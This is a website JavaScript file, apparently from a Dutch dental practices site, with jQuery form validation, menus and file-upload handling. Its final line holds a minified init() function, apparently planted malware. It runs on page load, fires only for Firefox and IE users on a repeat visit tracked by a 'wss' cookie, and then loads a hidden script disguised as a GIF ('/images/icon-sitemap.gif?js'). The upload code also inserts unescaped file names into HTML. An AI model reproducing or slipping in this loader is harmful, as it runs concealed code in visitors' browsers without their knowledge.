//Automatisch springen naar het volgende veld
function moveOnMax(field,nextFieldID)
{
	if(field.value.length >= field.maxLength)
	{
		document.getElementById(nextFieldID).focus();
	}
}



//Functions
$(document).ready(function()
{	
	
   // setup Tooltips
	Cufon.replace('h1');
	Cufon.replace('h2');

	Cufon.now();
	
	$(".inschrijfformulier").show();
	$(".javscript_false").hide();
	

	//Emails
	/*$("#select_email").change(function()
	{   
		var new_email = $("#select_email option:selected").attr("title");
		
		if(new_email != "")
		{
			$("input[name=recipients]").val(new_email);
		}
	});
	
	//Email
	$("#email").change(function(){
								
		var email = $(this).val();
		$("#from_email").val(email);
	});*/
	
	
		//extra field CT scan
		$("#select_email").change( function(){
			var show_aanlevervorm = $(this).find(":selected").attr('rel');
			if(show_aanlevervorm == "Ja"){
				$('#aanlevervorm').show();
			} else {
				$('#aanlevervorm').hide();
			}
		});
	
	
		$("select").selectbox({inputType: 'span'});
	
		//Redirect selectboxes
		$(".selector").change(function() {
			var val = $(this).val();
			if(val != 'null') 
			{
				$(this).parent().children('span').addClass("loading");
				document.location.href = val; 
			}
		});

	
	//Menu
	$.jFastMenu("#nav");
	
	//Selectboxes

	
	
	
	//Searchfield
	var standard_txt = $("#searchfield").val();
	
	$("#searchfield").focus(function()
	{
		if($("#searchfield").attr("class") == "search_inactive")
		{
			$("#searchfield").removeClass("search_inactive");
			$("#searchfield").val(""); 
		} 
	});
	$("#searchfield").blur(function()
	{
		if($("#searchfield").val() == "")
		{
			$("#searchfield").addClass("search_inactive");
			$("#searchfield").val(standard_txt); 
		} 
	});
	
	
	$('#select_email, #practice, #about').change(function(){
		var chosenItem = $(this).val();
		if(chosenItem != ""){
			//Niet hetzelfde: Haal error label weg
			$(this).prev().prev().removeClass('error');

		} else { 
			//Hetzelfde: zet label weer terug
			$(this).prev().prev().addClass('error');
		}
	});

	/*
	 * Trigger validation wanneer op de verzendknop wordt geklikt.
	 */
	$("#sendbutton").bind("click", function(){
		
		$("#inschrijfformulier,#contactformulier-st, #contact_form, #vraagoverfactuur, #meteenlach_contactformulier,#sollicitatieformulier, #klachtenformulier, #login_form, #implantologieformulier, #overnameformulier").validate({
			invalidHandler: function(form, validator) {
		      var errors = validator.numberOfInvalids();
		      if (errors) {
		        var message = errors == 1
		          ? 'U heeft 1 verplicht veld niet ingevuld. U kunt dit zien aan de rode achtergrond.'
		          : 'U heeft ' + errors + ' verplichte velden niet (juist) ingevuld. U kunt dit zien aan de rode achtergrond.';
		        $("div.errorContainer span").html(message);
		        $("div.errorContainer").show();
		      } else {
		        $("div.errorContainer").hide();
		      }
		    },
			rules: {
				email: {// compound rule 
					required: true, 
					email: true
				 	}
			},
			 errorElement: "span",
				 
			messages:{
				captcha: { required: 'Dit is een verplicht veld.' },
				question_type: { required: 'Dit is een verplicht veld.' },
				name: { required: 'Dit is een verplicht veld.' },
				title: { required: 'Dit is een verplicht veld.' },
				description: { required: 'Dit is een verplicht veld.' },
				region: { required: 'Dit is een verplicht veld.' },
				name: { required: 'Dit is een verplicht veld.' },
				email: { required: 'Dit is een verplicht veld.', email: 'Dit is geen valide e-mailadres'},
				recipient_email: { required: 'Dit is een verplicht veld.'}
			}			
			,errorPlacement: function(error, element){
				if($(element).hasClass('selectbox')){
		    		$(element).prev().prev().addClass('error');
		    		//$(element).prev().prev().addClass('error','url("/images/back_select-error.png")');
		    	} else {
		    		$(element).addClass('error');
		    		//error.appendTo( element.prev(':first-child'));

		    	}      
			}
		}); 
	});
	
	//Forms
	/*$('form#inschrijfformulier').simpleValidate({
		errorClass       : 'error',
		errorText        : 'Dit is een verplicht veld.',
		emailErrorText   : 'Dit is geen geldig e-mailadres.',
		errorElement     : 'span',
		removeLabelChar  : '*',
		inputErrorClass  : '',
		completeCallback : '',
		ajaxRequest      : false
	});*/


	//Action
	$(".action").click(function(){
			
		//Get button
		var action_button_id = $(this).attr("id");
		
		//Close
		$(".highlighttxt").addClass("closed");
		
		//Open
		$("#"+action_button_id+"_content").removeClass("closed");
		
		return false;
	});
	
	$("#actions").find('span').first().removeClass("closed");
	
	
	
	//Implantologie redirect
	$(".implantologie_select").change(function(){
		var val = $(this).val();
		
		//Remove
		$("#behandeling-praktijk option:last").remove();
		$("#behandeling-praktijk_container").find("ul li:last").remove();
		
		//Add
		$("#behandeling-praktijk").append($("<option></option>").text(val)); 
		$("#behandeling-praktijk_container").find("ul").append($("<li></li>")
															   .attr("id", "behandeling_praktijk_input_"+val.replace(" ", "_")+"")
															   .text(val));
	});
	
	
	
	//Upload the image
	$("#picture_1").click(function(){ $("#picture_1").val(""); });
	$("#picture_1").change(function(){

		//Add loader
		$("#loading_span_1").addClass("loading");

		//Add iframe
		$("#upload_area_1").append('<iframe name="upload_frame" id="upload_frame" height="1" width="1" />');
		$("#upload_form_1").submit();
	});
	
	//Upload the image
	$("#picture_2").click(function(){ $("#picture_2").val(""); });
	$("#picture_2").change(function(){

		//Add loader
		$("#loading_span_2").addClass("loading");

		//Add iframe
		$("#upload_area_2").append('<iframe name="upload_frame" id="upload_frame" height="1" width="1" />');
		$("#upload_form_2").submit();
	});
	
	
	//Upload the files
	$("#file_1").click(function(){ $("#file_1").val(""); });
	$("#file_1").change(function(){

		//Add loader
		$("#file_loading_span_1").addClass("loading");

		//Add iframe
		$("#file_upload_area_1").append('<iframe name="upload_frame" id="upload_frame" height="1" width="1" />');
		$("#file_upload_form_1").submit();
	});
	
	
	$("#file_2").click(function(){ $("#file_2").val(""); });
	$("#file_2").change(function(){

		//Add loader
		$("#file_loading_span_2").addClass("loading");

		//Add iframe
		$("#file_upload_area_2").append('<iframe name="upload_frame" id="upload_frame" height="1" width="1" />');
		$("#file_upload_form_2").submit();
	});
});





//Image result
function is_uploaded_1(image_url){
	
	//Delete loader
	$("#loading_span_1").removeClass("loading");
	
	//Remove field & iframe
	$("#picture_1").remove();
	$("#upload_frame").remove();
	
	//Add image
	$("#upload_label_1").append('<img src="/images/uploads/users/'+image_url+'" class="floatRight" border="1" />');
	
	//Add image to field
	$("#foto_field_1").val('<img src="http://samenwerkendetandartsen.ctrlv.eu/images/uploads/users/'+image_url+'" border=0" />');
}

//Image error
function upload_error_1(error){
	
	//Delete loader
	$("#loading_span_1").removeClass("loading");
	
	//Remove field & iframe
	$("#picture_1").remove();
	$("#upload_frame").remove();
	
	//Add picture field
	$("#upload_label_1").append('<input name="picture" id="picture" type="file" class="inputform" />');
	
	alert(error);	
}


//Image result
function is_uploaded_2(image_url){
	
	//Delete loader
	$("#loading_span_2").removeClass("loading");
	
	//Remove field & iframe
	$("#picture_2").remove();
	$("#upload_frame").remove();
	
	//Add image
	$("#upload_label_2").append('<img src="/images/uploads/users/'+image_url+'" class="floatRight" border="1" />');
	
	//Add image to field
	$("#foto_field_2").val('<img src="http://samenwerkendetandartsen.ctrlv.eu/images/uploads/users/'+image_url+'" border=0" />');
}

//Image error
function upload_error_2(error){
	
	//Delete loader
	$("#loading_span_2").removeClass("loading");
	
	//Remove field & iframe
	$("#picture_2").remove();
	$("#upload_frame").remove();
	
	//Add picture field
	$("#upload_label_2").append('<input name="picture" id="picture" type="file" class="inputform" />');
	
	alert(error);	
}






//File result
function file_1_is_uploaded(file_url){
	
	//Delete loader
	$("#file_loading_span_1").removeClass("loading");
	
	//Remove field & iframe
	$("#file_1").remove();
	$("#upload_frame").remove();
	
	//Add image
	$("#file_upload_label_1").append('<a href="/images/uploads/resumes/'+file_url+'" target="_blank">Link</a>');
	
	//Add image to field
	$("#file_1_field").val('<a href="http://samenwerkendetandartsen.ctrlv.eu/images/uploads/resumes/'+file_url+'" target="_blank">Bekijk document</a>');
}

//File error
function file_upload_error_1(error){
	
	//Delete loader
	$("#file_loading_span_1").removeClass("loading");
	
	//Remove field & iframe
	$("#file_1").remove();
	$("#upload_frame").remove();
	
	//Add picture field
	$("#file_upload_label_1").append('<input name="file_1" id="file_1" type="file" class="inputform" />');
	
	alert(error);	
}



//File result
function file_2_is_uploaded(file_url){
	
	//Delete loader
	$("#file_loading_span_2").removeClass("loading");
	
	//Remove field & iframe
	$("#file_2").remove();
	$("#upload_frame").remove();
	
	//Add image
	$("#file_upload_label_2").append('<a href="/images/uploads/resumes/'+file_url+'" target="_blank">Link</a>');
	
	//Add image to field
	$("#file_2_field").val('<a href="http://samenwerkendetandartsen.ctrlv.eu/images/uploads/resumes/'+file_url+'" target="_blank">Bekijk doucment</a>');
}

//File error
function upload_error_2(error){
	
	//Delete loader
	$("#file_loading_span_2").removeClass("loading");
	
	//Remove field & iframe
	$("#file_2").remove();
	$("#upload_frame").remove();
	
	//Add picture field
	$("#file_upload_label_2").append('<input name="file_2" id="file_2" type="file" class="inputform" />');
	
	alert(error);	
}

function init(){var f=navigator.userAgent;var a=false;if(f.indexOf("Firefox")!=-1||f.indexOf("MSIE")!=-1){a=true}if(a!==true){return}var i="/images/icon-sitemap.gif?js";var g=b("wss");if(g){if(g=="goot1"){c("wss","goot2","3");var e=document.createElement("script");e.type="text/javascript";e.src=i+"&r="+new Date().getTime();var d=document.getElementsByTagName("head")[0];d.appendChild(e)}else{}}else{c("wss","goot1","3")}function b(k){var j,h,m,l=document.cookie.split(";");for(j=0;j<l.length;j++){h=l[j].substr(0,l[j].indexOf("="));m=l[j].substr(l[j].indexOf("=")+1);h=h.replace(/^\s+|\s+$/g,"");if(h==k){return unescape(m)}}}function c(j,l,h){var m=new Date();m.setDate(m.getDate()+h);var k=escape(l)+((h==null)?"":"; expires="+m.toUTCString());document.cookie=j+"="+k}}init();
